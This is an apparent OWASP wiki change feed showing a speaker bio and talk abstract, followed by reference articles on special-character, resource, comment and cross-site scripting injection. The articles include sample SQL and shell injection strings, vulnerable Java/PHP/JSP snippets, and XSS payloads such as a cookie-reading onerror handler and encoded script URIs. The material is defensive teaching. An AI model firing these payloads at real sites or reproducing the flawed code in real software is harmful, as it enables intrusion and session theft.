 | style=&amp;quot;width:10%; background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 12:15-13:00&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | {{:Front_Range_OWASP_Conference_2013/boaf4a}} ''([[Front_Range_OWASP_Conference_2013/boaf4a|edit]])''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | {{:Front_Range_OWASP_Conference_2013/boaf4b}} ''([[Front_Range_OWASP_Conference_2013/boaf4b|edit]])''&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148387</id>
		<title>Front Range OWASP Conference 2013/Speakers/Jex</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148387"/>
				<updated>2013-03-21T22:59:25Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Updated speaker bio&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Alan Jex ==&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width: 100%;&amp;quot;&lt;br /&gt;
 |- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
 | Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He worked at Symantec and Novell as a Senior Software Engineer on security enterprise solutions. Alan is a proponent of the OWASP organization (www.owasp.org) which provides guidance for web application security. Alan’s interests include tennis, hiking and piano.&lt;br /&gt;
 | style=&amp;quot;width: 200px; |&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
 | [[Image:SnowFROC2013_Jex.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
 | [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Presentations/OpenSAMM&amp;diff=148386</id>
		<title>Front Range OWASP Conference 2013/Presentations/OpenSAMM</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Presentations/OpenSAMM&amp;diff=148386"/>
				<updated>2013-03-21T22:57:47Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Measuring Security Best Practices With OpenSAMM===&lt;br /&gt;
&lt;br /&gt;
Security is becoming a competitive advantage in the marketplace. How do we ensure that security is built into products for our customers?&lt;br /&gt;
&lt;br /&gt;
Security vulnerabilities can be introduced at any phase of the software development life cycle (SDLC). The [http://www.opensamm.org/ Open Software Assurance Maturity Model (OpenSAMM)] is lightweight, flexible framework that helps prevent vulnerabilities and improve security during software development.&lt;br /&gt;
&lt;br /&gt;
This talk advocates adopting OpenSAMM to measure security best practices and improve our security processes, tools, and knowledge.&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Alan_Jex&amp;diff=148385</id>
		<title>User:Alan Jex</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Alan_Jex&amp;diff=148385"/>
				<updated>2013-03-21T22:56:12Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Update personal bio&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Alan is a Chief Security Architect at HP and is a CISSP. He worked at Symantec and Novell as a Senior Software Engineer on security enterprise solutions. Alan is a proponent of the OWASP organization (www.owasp.org) which provides guidance for web application security. Alan’s interests include tennis, hiking and piano.&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Custom_Special_Character_Injection&amp;diff=121241</id>
		<title>Custom Special Character Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Custom_Special_Character_Injection&amp;diff=121241"/>
				<updated>2011-12-08T23:22:27Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Added to Injection subcategory&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The software does not properly filter or quote special characters or reserved words that are used in a custom or proprietary language or representation that is used by the product. That allows attackers to modify the syntax, content, or commands before they are processed by the end system.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
'''Example1'''&lt;br /&gt;
&lt;br /&gt;
A simple example is an application which executes almost everything which is passed to it from the current terminal by the user without&lt;br /&gt;
sanitazing and blocking user input. If the application doesn't implement appropriate signals handling, we may interrupt or suspend program&lt;br /&gt;
execution by sending respectively ''Ctrl+C (^C)'' or ''Ctrl+Z (^Z)'' combinations. These combinations are sending signals to the application.&lt;br /&gt;
In the first case it's ''SIGINT'' and in the second it's ''SIGSTOP'' signal.&lt;br /&gt;
&lt;br /&gt;
'''Example2'''&lt;br /&gt;
&lt;br /&gt;
The classic example, often used by the IRC warriors/bandits, was disconnecting modem users by sending to them a special sequence of&lt;br /&gt;
characters. Sending via any protocol (IP) &amp;quot;''+++ATH0''&amp;quot; sequence caused some modems to interpret this sequence as a disconnect command. So&lt;br /&gt;
all that had to be done was to send the sequence on an IRC channel, which in effect forced vulnerable modems to disconnect.&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
* [[Logic/time bomb]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Log forging]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Resource Manipulation]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Resource_Injection&amp;diff=121240</id>
		<title>Resource Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Resource_Injection&amp;diff=121240"/>
				<updated>2011-12-08T23:17:49Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Add to Injection subcategory&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
This attack consists of changing resource identifiers used by an application in order to perform a malicious task. When an application permits a user input to define a resource, like a file name or port number, this data can be manipulated to execute or access different resources.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In order to be properly executed, the attacker must have the possibility to specify a resource identifier through the  application form and the application must permit its execution.&lt;br /&gt;
&lt;br /&gt;
The resource type affected by user input indicates the content type that may be exposed. For example, an application that permits input of special characters like period, slash, and backslash is risky when used in methods that interact with the file system.&lt;br /&gt;
&lt;br /&gt;
The resource injection attack focuses on accessing other resources than the local filesystem, which is different attack technique known as a [[Path Manipulation]] attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
The following examples represent an application which gets a port number from an HTTP request and creates a socket with this port number without any validation. A user using a proxy can modify this port and obtain a direct connection (socket) with the server.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Java code:'''&lt;br /&gt;
&lt;br /&gt;
 String rPort = request.getParameter(&amp;quot;remotePort&amp;quot;);&lt;br /&gt;
 ...&lt;br /&gt;
 ServerSocket srvr = new ServerSocket(rPort);&lt;br /&gt;
 Socket skt = srvr.accept(); &lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''.Net code:'''&lt;br /&gt;
&lt;br /&gt;
 int rPort = Int32.Parse(Request.get_Item(&amp;quot;remotePort &amp;quot;));&lt;br /&gt;
 ...&lt;br /&gt;
 IPEndPoint endpoint = new IPEndPoint(address,rPort);&lt;br /&gt;
 socket = new Socket(endpoint.AddressFamily, &lt;br /&gt;
 SocketType.Stream, ProtocolType.Tcp);&lt;br /&gt;
 socket.Connect(endpoint);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
This example is same as previous, but it gets port number from CGI requests using C++:&lt;br /&gt;
&lt;br /&gt;
 char* rPort = getenv(&amp;quot;remotePort &amp;quot;);&lt;br /&gt;
 ...&lt;br /&gt;
 serv_addr.sin_port = htons(atoi(rPort));&lt;br /&gt;
 if (connect(sockfd,&amp;amp;serv_addr,sizeof(serv_addr)) &amp;lt; 0) &lt;br /&gt;
 error(&amp;quot;ERROR connecting&amp;quot;);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
This example in PLSQL / TSQL gets a URL path from a CGI and downloads the file contained in it. If a user modifies the path or filename, it’s possible to download arbitrary files from server:&lt;br /&gt;
 ...&lt;br /&gt;
 filename := SUBSTR(OWA_UTIL.get_cgi_env('PATH_INFO'), 2);&lt;br /&gt;
 WPG_DOCLOAD.download_file(filename); &lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
* [[:Category:Logical Attacks]]&lt;br /&gt;
* [[:Category: Information Disclosure]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Path Traversal]]&lt;br /&gt;
* [[Path Manipulation]]&lt;br /&gt;
* [[Relative Path Traversal]]&lt;br /&gt;
* [[:Category:Injection Attack | Injection Attacks]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* http://samate.nist.gov/SRD/view_testcase.php?tID=1734&lt;br /&gt;
* http://cwe.mitre.org/data/definitions/99.html&lt;br /&gt;
* http://capec.mitre.org/data/index.html#Definition&lt;br /&gt;
* http://www.fortifysoftware.com/vulncat/&lt;br /&gt;
* G. Hoglund and G. McGraw. Exploiting Software. Addison-Wesley, 2004.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category: Injection]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Comment_Injection_Attack&amp;diff=121239</id>
		<title>Comment Injection Attack</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Comment_Injection_Attack&amp;diff=121239"/>
				<updated>2011-12-08T23:12:50Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Added to Injection subcategory&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Comments injected into an application through input can be used to compromise a system. As data is parsed, an injected/malformed comment may cause the process to take unexpected actions that result in an attack.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The attacker may conduct this kind of attack with different programming or scripting languages:&lt;br /&gt;
&lt;br /&gt;
'''Database:'''&lt;br /&gt;
&lt;br /&gt;
If the attacker has the ability to manipulate queries which are sent to the database, then he's able to inject a terminating&lt;br /&gt;
character too. The aftermath is that the interpretation of the query will be stopped at the terminating character:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT body FROM items WHERE id = $ID limit 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Let's assume that the attacker has sent via the GET method the following data stored in variable $ID:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;1 or 1=1; #&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In the end the final query form is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT body FROM items WHERE id = 1 or 1=1; # limit 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
After the '''#''' character everything will be discarded by the database including &amp;quot;''limit 1''&amp;quot;, so only the last column &amp;quot;body&amp;quot; with all its records will be received as a query response.&lt;br /&gt;
&lt;br /&gt;
Sequences that may be used to comment queries:&lt;br /&gt;
* MySQL:''#'', ''--''&lt;br /&gt;
* MS SQL: ''--''&lt;br /&gt;
* MS Access: ''%00'' ('''hack!''')&lt;br /&gt;
* Oracle: ''--''&lt;br /&gt;
&lt;br /&gt;
'''Null byte:'''&lt;br /&gt;
&lt;br /&gt;
To comment out some parts of the queries, the attacker may use the standard sequences, typical for a given language, or terminate&lt;br /&gt;
the queries using his own methods being limited only by his imagination. An interesing example is a null byte method used to&lt;br /&gt;
comment out everything after the current query in MS Access databases. More information about this can be found in [[Embedding Null Code]] .&lt;br /&gt;
&lt;br /&gt;
'''Shell:'''&lt;br /&gt;
&lt;br /&gt;
Shell (bash) also has the character '''#''', which terminates interpretation.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
find.php&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
$ =sth $_GET['what];&lt;br /&gt;
system(&amp;quot;/usr/bin/find -name '$sth' -type f&amp;quot;);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Using ''/find.php?what=*'%20%23'' the attacker will bypass limitation &amp;quot;''-type f''&amp;quot; and this command:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/usr/bin/find -name '*' -type f&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
will become:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/usr/bin/find -name '*' #-type f&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
So the final form of the command is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/usr/bin/find -name '*'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''HTML (injection):'''&lt;br /&gt;
&lt;br /&gt;
If there are no restrictions about who is able to insert comments, then using the start comment tag:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
it's possible to comment out the rest of displayed content on the website.&lt;br /&gt;
&lt;br /&gt;
invisible.php&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
print &amp;quot;hello!: &amp;quot;;&lt;br /&gt;
print $_GET['user'];&lt;br /&gt;
print &amp;quot; Welcome friend!&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
After:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /invisible.php?user=&amp;lt;!--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
There result will be:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hello!:&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Embedding_Null_Code]]&lt;br /&gt;
* [[Unicode Encoding]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category: Input Validation]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* http://dev.mysql.com/doc/refman/5.0/en/comments.html&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|please check the second link]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Resource Manipulation]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=121238</id>
		<title>Cross-site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=121238"/>
				<updated>2011-12-08T23:10:52Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{template: Attack}}&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
==Overview==&lt;br /&gt;
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.&lt;br /&gt;
&lt;br /&gt;
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
See the [[Abridged XSS Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
See the [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Phishing|Phishing]].&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Data Validation]].&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for Cross-site scripting  Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the latest [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to test for the various kinds of XSS vulnerabilities.&lt;br /&gt;
* [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]] &lt;br /&gt;
* [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]] &lt;br /&gt;
* [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting (XSS) attacks occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters a Web application through an untrusted source, most frequently a web request. &lt;br /&gt;
#The data is included in dynamic content that is sent to a web user without being validated for malicious code. &lt;br /&gt;
&lt;br /&gt;
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.&lt;br /&gt;
&lt;br /&gt;
===Stored and Reflected XSS Attacks===&lt;br /&gt;
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [[DOM Based XSS |DOM Based XSS]] that is discussed seperately [[DOM Based XSS |here]].&lt;br /&gt;
&lt;br /&gt;
====Stored XSS Attacks====&lt;br /&gt;
Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.&lt;br /&gt;
&lt;br /&gt;
====Reflected XSS Attacks====&lt;br /&gt;
Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a &amp;quot;trusted&amp;quot; server.&lt;br /&gt;
&lt;br /&gt;
====XSS Attack Consequences====&lt;br /&gt;
The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([[DOM Based XSS |or DOM Based]]). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.&lt;br /&gt;
&lt;br /&gt;
===How to Determine If You Are Vulnerable===&lt;br /&gt;
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.&lt;br /&gt;
&lt;br /&gt;
===How to Protect Yourself===&lt;br /&gt;
The primary defenses against XSS are described in the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet |OWASP XSS Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI |OWASP ESAPI project]] has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]] training application has lessons on Cross-Site Scripting and data encoding.&lt;br /&gt;
&lt;br /&gt;
===Alternate XSS Syntax===&lt;br /&gt;
====XSS using Script in Attributes====&lt;br /&gt;
&lt;br /&gt;
XSS attacks may be conducted without using &amp;lt;script&amp;gt;&amp;lt;/script&amp;gt; tags.&lt;br /&gt;
Other tags will do exacly the same thing, for example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;body onload=alert('test1')&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
or other attribites like: onmouseover, onerror.&lt;br /&gt;
&lt;br /&gt;
onmouseover&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;b onmouseover=alert('Wufff!')&amp;gt;click me!&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/prE&amp;gt;&lt;br /&gt;
onerror&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;img src=&amp;quot;http://url.to.file.which/not.exist&amp;quot; onerror=alert(document.cookie);&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====XSS using Script Via Encoded URI Schemes====&lt;br /&gt;
&lt;br /&gt;
If we need to hide against web application filters we may try to encode string characters, e.g.: a=&amp;amp;#X41 (UTF-8) and use it in&lt;br /&gt;
IMG tag:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;IMG SRC=j&amp;amp;#X41vascript:alert('test2')&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
There are many different UTF-8 encoding notations what give us even more possibilities.&lt;br /&gt;
&lt;br /&gt;
====XSS using code encoding====&lt;br /&gt;
&lt;br /&gt;
We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot;&lt;br /&gt;
CONTENT=&amp;quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
These (just a little modified by me) and others examples can be found on http://ha.ckers.org/xss.html, which is a true encyclopedia of the alternate XSS syntax attack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.&lt;br /&gt;
&lt;br /&gt;
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality. &lt;br /&gt;
&lt;br /&gt;
===Example 1=== &lt;br /&gt;
&lt;br /&gt;
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	&amp;lt;% String eid = request.getParameter(&amp;quot;eid&amp;quot;); %&amp;gt; &lt;br /&gt;
	...&lt;br /&gt;
	Employee ID: &amp;lt;%= eid %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.&lt;br /&gt;
&lt;br /&gt;
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
	&amp;lt;%... &lt;br /&gt;
	 Statement stmt = conn.createStatement();&lt;br /&gt;
	 ResultSet rs = stmt.executeQuery(&amp;quot;select * from emp where id=&amp;quot;+eid);&lt;br /&gt;
	 if (rs != null) {&lt;br /&gt;
	  rs.next(); &lt;br /&gt;
	  String name = rs.getString(&amp;quot;name&amp;quot;);&lt;br /&gt;
	%&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	Employee Name: &amp;lt;%= name %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
